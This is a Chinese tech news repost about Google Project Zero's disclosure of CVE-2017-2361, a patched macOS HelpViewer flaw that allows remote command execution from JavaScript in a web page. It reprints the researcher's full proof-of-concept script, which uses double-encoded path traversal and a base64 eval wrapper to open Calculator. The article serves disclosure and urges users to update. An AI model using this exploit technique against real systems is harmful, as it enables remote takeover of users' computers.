神漏洞!macOS也能弹计算器,一行JS代码远程命令执行

本文讲的是 神漏洞!macOS也能弹计算器,一行JS代码远程命令执行最近,Google Project Zero 公开披露 了一个macOS系统的神漏洞,一行JS代码便可以让Mac电脑弹计算器。

这个神漏洞真的特别有趣,研究员发现macOS的内置应用HelpViewer有一个内部协议调用,可以打开本机上的任何文件,这个协议调用的路径检查有点缺陷,使用某些特定语法可以绕过,去打开攻击者指定的文件。

以上只能做到本地命令执行,研究员想了个法子,用JS代码去调用HelpViewer打开文件,间接做到远程执行。如果用户打开的某个网页中含有这段JS代码,那么这台Mac就被轻轻松松控制了。

神漏洞!macOS也能弹计算器,一行JS代码远程命令执行

(图:根据研究员放出的poc代码,嘶吼在内部的电脑上成功演示)

该漏洞由Project Zero研究员、韩国安全天才lokihardt于去年12月发现,漏洞编号为CVE-2017-2361。苹果公司在今年1月23日更新的macOS 10.12.3修复了漏洞,大家更新到最新版即可不受影响。

顺便说下,“弹计算器”是安全圈的一种文化,表示用作演示的漏洞可以做到命令执行,完全控制这台电脑。过去,这种演示经常在Windows电脑上演,Mac、Linux被认为比Windows要安全很多。但随着近几年Mac电脑用户不断增多,盯着它的人多了,这类安全漏洞还将不断曝光,Mac用户过往那种“虚假”的安全感是时候收一收了。

嘶吼在此建议,普通Mac电脑用户应及时更新电脑系统,避免遭受损失。

附lokihardt提供的poc代码,大家自己玩一下就行,不要做坏事哦:

<script>

/*
OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read.

HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help

or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html

HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.

HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".

PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";

The attached poc will pop up a Calculator.

Tested on macOS Sierra 10.12.1 (16B2659).

*/

function main() {
    function second() {
        var f = document.createElement("iframe");
        f.onload = () => {
            f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app";
        };

        f.src = "help:openbook=com.apple.safari.help";

        document.documentElement.appendChild(f);
    }

    var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));nsecond();";

    document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url;
}

main();

</script>



原文发布时间为:2017年3月21日
本文作者:longye
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值